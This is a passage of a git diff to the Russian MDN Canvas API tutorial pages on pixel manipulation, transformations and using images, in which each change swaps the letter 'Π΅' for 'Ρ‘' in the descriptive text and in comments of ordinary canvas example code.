<dd>Π˜ΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ Ссли холст содСрТит пиксСли, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ {{Glossary ("origin")}} Π±Π΅Π· использования CORS, холст Π±ΡƒΠ΄Π΅Ρ‚ <strong>испорчСн</strong>, ΠΈ Π΅Π³ΠΎ содСрТимоС большС Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΈ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒΡΡ. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ {{SectionOnPage ("/en-US/docs/Web/HTML/CORS_enabled_image", "Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ ΠΈ испорчСнныС холсты")}}</dd>
<dt></dt>
<dt>{{domxref("HTMLCanvasElement.toDataURL", "canvas.toDataURL('image/png')")}}</dt>
- <dd>Настройки ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ PNG.</dd>
+ <dd>Настройки ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ PNG.</dd>
<dt>{{domxref("HTMLCanvasElement.toDataURL", "canvas.toDataURL('image/jpeg', quality)")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ JPG. Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°Π΄Π°Ρ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ "качСство" (quality)Β Π² Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π΅ ΠΎΡ‚ 0 Π΄ΠΎ 1, ΠΏΡ€ΠΈΡ‡Π΅ΠΌ Π΅Π΄ΠΈΠ½ΠΈΡ†Π° Π·Π°Π΄Π°Π΅Ρ‚Β Π»ΡƒΡ‡ΡˆΠ΅Π΅Β ΠΊΠ°Ρ‡Π΅ΡΡ‚Π²ΠΎΒ ΠΈ 0 -Β  ΠΏΠΎΡ‡Ρ‚ΠΈ Π½Π΅ распознаваСмый, Π½ΠΎ нСбольшой по Ρ€Π°Π·ΠΌΠ΅Ρ€ΡƒΒ Ρ„Π°ΠΉΠ».</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ JPG. Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°Π΄Π°Ρ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ "качСство" (quality)Β Π² Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π΅ ΠΎΡ‚ 0 Π΄ΠΎ 1, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ Π΅Π΄ΠΈΠ½ΠΈΡ†Π° Π·Π°Π΄Π°Ρ‘Ρ‚Β Π»ΡƒΡ‡ΡˆΠ΅Π΅Β ΠΊΠ°Ρ‡Π΅ΡΡ‚Π²ΠΎΒ ΠΈ 0 -Β  ΠΏΠΎΡ‡Ρ‚ΠΈ Π½Π΅ распознаваСмый, Π½ΠΎ нСбольшой по Ρ€Π°Π·ΠΌΠ΅Ρ€ΡƒΒ Ρ„Π°ΠΉΠ».</dd>
</dl>
<p>ПослС Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ Π²Ρ‹ создали URI Π΄Π°Π½Π½Ρ‹Π΅Β ΠΈΠ· своСго холста, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΊΠ°ΠΊ источник любого {{HTMLElement ("image")}} ΠΈΠ»ΠΈ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² гипСрссылку с <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a#attr-download">download attribute</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π½Π° дискС, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€.</p>
@@ -253,7 +253,7 @@ function draw(img) {
<dl>
<dt>{{domxref("HTMLCanvasElement.toBlob", "canvas.toBlob(callback, type, encoderOptions)")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>Blob</code>, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, содСрТащССся Π² холстС.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>Blob</code>, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, содСрТащССся Π² холстС.</dd>
</dl>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/web/api/canvas_api/tutorial/transformations/index.html b/files/ru/web/api/canvas_api/tutorial/transformations/index.html
index 85acddca88..bdba6eae69 100644
--- a/files/ru/web/api/canvas_api/tutorial/transformations/index.html
+++ b/files/ru/web/api/canvas_api/tutorial/transformations/index.html
@@ -15,7 +15,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations
<dt>{{domxref("CanvasRenderingContext2D.save", "save()")}}</dt>
<dd><span class="notranslate">БохраняСт всС состояниС холста.</span></dd>
<dt>{{domxref("CanvasRenderingContext2D.restore", "restore()")}}</dt>
- <dd><span class="notranslate">ВосстанавливаСт послСднСС сохранСнноС состояниС холста.</span></dd>
+ <dd><span class="notranslate">ВосстанавливаСт послСднСС сохранённоС состояниС холста.</span></dd>
</dl>
<p>БостояниС холста сохраняСтся Π² стСкС. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° вызываСтся ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>save()</code>, Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ состояниС отрисовки записываСтся Π² стСк. БостояниС отрисовки содСрТит:</p>
@@ -80,7 +80,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations
<h3 id="A_translate_example" name="A_translate_example">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ использования <code>translate</code></h3>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ дСмонстрируСт Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ прСимущСства</span></span> ΠΏΡ€ΠΈ использовании смСщСния холста. Π‘Π΅Π· использования ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>translate()</code> всС ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΈ Π±ΡƒΠ΄ΡƒΡ‚ отрисованы Π² ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ (0,0). ΠœΠ΅Ρ‚ΠΎΠ΄ <code>translate()</code> Π΄Π°Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ размСщСния ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ° Π² любой ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π±Π΅Π· измСнСния ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>fillRect()</code>. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΡƒΠΏΡ€ΠΎΡ‰Π΅Π½ΠΈΠ΅ для понимания ΠΈ использования.</p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ дСмонстрируСт Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ прСимущСства</span></span> ΠΏΡ€ΠΈ использовании смСщСния холста. Π‘Π΅Π· использования ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>translate()</code> всС ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΈ Π±ΡƒΠ΄ΡƒΡ‚ отрисованы Π² ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ (0,0). ΠœΠ΅Ρ‚ΠΎΠ΄ <code>translate()</code> Π΄Π°Ρ‘Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ размСщСния ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ° Π² любой ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π±Π΅Π· измСнСния ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>fillRect()</code>. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΡƒΠΏΡ€ΠΎΡ‰Π΅Π½ΠΈΠ΅ для понимания ΠΈ использования.</p>
<p>Π’Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>draw()</code> ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ <code>fillRect()</code> Π΄Π΅Π²ΡΡ‚ΡŒ Ρ€Π°Π·, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π΄Π²Π° Ρ†ΠΈΠΊΠ»Π° <code>for</code>. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· ΠΌΡ‹ сохраняСм состояниС холста, смСщаСм Π΅Π³ΠΎ, рисуСм ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ, Π° Π·Π°Ρ‚Π΅ΠΌ восстанавливаСм исходноС состояниС. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ <code>fillRect()</code> всСгда ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΎΠ΄Π½ΠΈ ΠΈ Ρ‚Π΅ ΠΆΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹, Π° ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Ρ„ΠΈΠ³ΡƒΡ€Ρ‹ осущСствляСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>translate()</code>.</p>
@@ -192,7 +192,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations
ctx.fillRect(1, 10, 10, 10);
ctx.restore();
- // Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Π΅ΠΌ тСкст, ΠΎΡ‚Ρ€Π°ΠΆΠ΅Π½Π½Ρ‹ΠΉ ΠΏΠΎ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΠΈ
+ // Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Π΅ΠΌ тСкст, ΠΎΡ‚Ρ€Π°ΠΆΡ‘Π½Π½Ρ‹ΠΉ ΠΏΠΎ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΠΈ
ctx.scale(-1, 1);
ctx.font = '48px serif';
ctx.fillText('MDN', -135, 120);
@@ -214,7 +214,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Transformations
<dl>
<dt>{{domxref("CanvasRenderingContext2D.transform", "transform(a, b, c, d, e, f)")}}</dt>
- <dd>НакладываСт ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Ρƒ прСобразования, Π·Π°Π΄Π°Π½Π½ΡƒΡŽ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ, Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Ρƒ. ΠœΠ°Ρ‚Ρ€ΠΈΡ†Π° прСобразования задаСтся ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ: <math><semantics><mrow><mo>[</mo><mtable columnalign="center center center" rowspacing="0.5ex"><mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd><mtd><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd><mtd><mi>f</mi></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>]</mo></mrow><annotation encoding="TeX">\left[ \begin{array}{ccc} a &amp; c &amp; e \\ b &amp; d &amp; f \\ 0 &amp; 0 &amp; 1 \end{array} \right]</annotation></semantics></math></dd>
+ <dd>НакладываСт ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Ρƒ прСобразования, Π·Π°Π΄Π°Π½Π½ΡƒΡŽ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ, Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Ρƒ. ΠœΠ°Ρ‚Ρ€ΠΈΡ†Π° прСобразования задаётся ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ: <math><semantics><mrow><mo>[</mo><mtable columnalign="center center center" rowspacing="0.5ex"><mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd><mtd><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd><mtd><mi>f</mi></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>]</mo></mrow><annotation encoding="TeX">\left[ \begin{array}{ccc} a &amp; c &amp; e \\ b &amp; d &amp; f \\ 0 &amp; 0 &amp; 1 \end{array} \right]</annotation></semantics></math></dd>
</dl>
<dl>
diff --git a/files/ru/web/api/canvas_api/tutorial/using_images/index.html b/files/ru/web/api/canvas_api/tutorial/using_images/index.html
index 65470e1d07..c8e40a0c5f 100644
--- a/files/ru/web/api/canvas_api/tutorial/using_images/index.html
+++ b/files/ru/web/api/canvas_api/tutorial/using_images/index.html
@@ -9,7 +9,7 @@ original_slug: Web/API/Canvas_API/Tutorial/ИспользованиС_ΠΈΠ·ΠΎΠ±Ρ€
<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_text", "Web/API/Canvas_API/Tutorial/Врансформации")}}</div>
<div class="summary">
-<p>Π”ΠΎ сих ΠΏΠΎΡ€ ΠΌΡ‹ создавали наши собствСнныС Ρ„ΠΈΠ³ΡƒΡ€Ρ‹ ΠΈ примСняли стили ΠΊ Π½ΠΈΠΌ. Одна ΠΈΠ· самых Π²ΠΏΠ΅Ρ‡Π°Ρ‚Π»ΡΡŽΡ‰ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉΒ {{HTMLElement("canvas")}} это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ использования ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ. Они ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ для динамичСского ΠΊΠΎΠΌΠΏΠΎΠ·ΠΈΡ‚ΠΈΠ½Π³Π° Ρ„ΠΎΡ‚ΠΎΒ ΠΈΠ»ΠΈ ΠΊΠ°ΠΊ Ρ„ΠΎΠ½Ρ‹Β Π³Ρ€Π°Ρ„ΠΈΠΊΠΎΠ², для спрайтов Π² ΠΈΠ³Ρ€Π°Ρ…, ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.Β Π’Π½Π΅ΡˆΠ½ΠΈΠ΅ изобраТСния ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π² Π»ΡŽΠ±Ρ‹Ρ… ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°Ρ…, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊΒ PNG, GIF, ΠΈΠ»ΠΈΒ JPEG. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π°ΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½Π½ΠΎΠ΅Β Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈΒ canvas элСмСнтами Π½Π° Ρ‚ΠΎΠΉ ΠΆΠ΅ страницС как источник!</p>
+<p>Π”ΠΎ сих ΠΏΠΎΡ€ ΠΌΡ‹ создавали наши собствСнныС Ρ„ΠΈΠ³ΡƒΡ€Ρ‹ ΠΈ примСняли стили ΠΊ Π½ΠΈΠΌ. Одна ΠΈΠ· самых Π²ΠΏΠ΅Ρ‡Π°Ρ‚Π»ΡΡŽΡ‰ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉΒ {{HTMLElement("canvas")}} это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ использования ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ. Они ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ для динамичСского ΠΊΠΎΠΌΠΏΠΎΠ·ΠΈΡ‚ΠΈΠ½Π³Π° Ρ„ΠΎΡ‚ΠΎΒ ΠΈΠ»ΠΈ ΠΊΠ°ΠΊ Ρ„ΠΎΠ½Ρ‹Β Π³Ρ€Π°Ρ„ΠΈΠΊΠΎΠ², для спрайтов Π² ΠΈΠ³Ρ€Π°Ρ…, ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.Β Π’Π½Π΅ΡˆΠ½ΠΈΠ΅ изобраТСния ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π² Π»ΡŽΠ±Ρ‹Ρ… ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°Ρ…, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊΒ PNG, GIF, ΠΈΠ»ΠΈΒ JPEG. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π°ΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ΅Β Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈΒ canvas элСмСнтами Π½Π° Ρ‚ΠΎΠΉ ΠΆΠ΅ страницС как источник!</p>
</div>
<p>Π˜ΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π² canvas Π² основном состоит ΠΈΠ·Β 2 этапов:</p>
@@ -62,15 +62,15 @@ original_slug: Web/API/Canvas_API/Tutorial/ИспользованиС_ΠΈΠ·ΠΎΠ±Ρ€
<p>Π”Ρ€ΡƒΠ³ΠΎΠΉ способ это ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅Β {{domxref("HTMLImageElement")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π² нашСм скриптС. Β Π§Ρ‚ΠΎΠ±Ρ‹ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΉ <code>Image()</code> конструктор:</p>
-<pre class="brush: js">var img = new Image(); // Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт изобраТСния
+<pre class="brush: js">var img = new Image(); // Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт изобраТСния
img.src = 'myImage.png'; // УстанавливаСт ΠΏΡƒΡ‚ΡŒ
</pre>
-<p>Когда этот скрипт выполнится, ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π°Ρ‡Π½Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒΡΡ.</p>
+<p>Когда этот скрипт выполнится, ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π°Ρ‡Π½Ρ‘Ρ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒΡΡ.</p>
<p>Если Π²Ρ‹ ΠΏΠΎΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>drawImage()</code>Β ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ ΠΊΠ°ΠΊ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ загрузится, Ρ‚ΠΎ скрипт Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ сдСлаСт (ΠΈΠ»ΠΈ, Π² старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΌΠΎΠΆΠ΅Ρ‚ Π΄Π°ΠΆΠ΅ Π²Ρ‹Π΄Π°Ρ‚ΡŒ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅). ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ событиС load, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ Π½Π΅ ΠΏΡ‹Ρ‚Π°Π»ΠΈΡΡŒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это ΠΏΡ€Π΅ΠΆΠ΄Π΅, Ρ‡Π΅ΠΌ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ загрузится:</p>
-<pre class="brush: js">var img = new Image(); // Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅
+<pre class="brush: js">var img = new Image(); // Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅
img.addEventListener("load", function() {
// здСсь выполняСт drawImage Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ
}, false);
@@ -83,7 +83,7 @@ img.src = 'myImage.png'; // УстанавливаСт источник Ρ„Π°ΠΉΠ»
<p>Π”Ρ€ΡƒΠ³ΠΎΠΉ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΉ способ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ это Ρ‡Π΅Ρ€Π΅Π·Β <a class="external" href="/en-US/docs/Web/HTTP/data_URIs" rel="external" title="http://en.wikipedia.org/wiki/Data:_URL">data: url</a>. Data URLs позволяСт Π²Π°ΠΌ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΊΠ°ΠΊΒ Base64 ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ строку символов прямо Π² ваш ΠΊΠΎΠ΄.</p>
-<pre class="brush: js">var img = new Image(); // Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт img
+<pre class="brush: js">var img = new Image(); // Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт img
img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAsAAAIUhA+hkcuO4lmNVindo7qyrIXiGBYAOw==';
</pre>
@@ -105,7 +105,7 @@ img.src = 'data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAs
}
</pre>
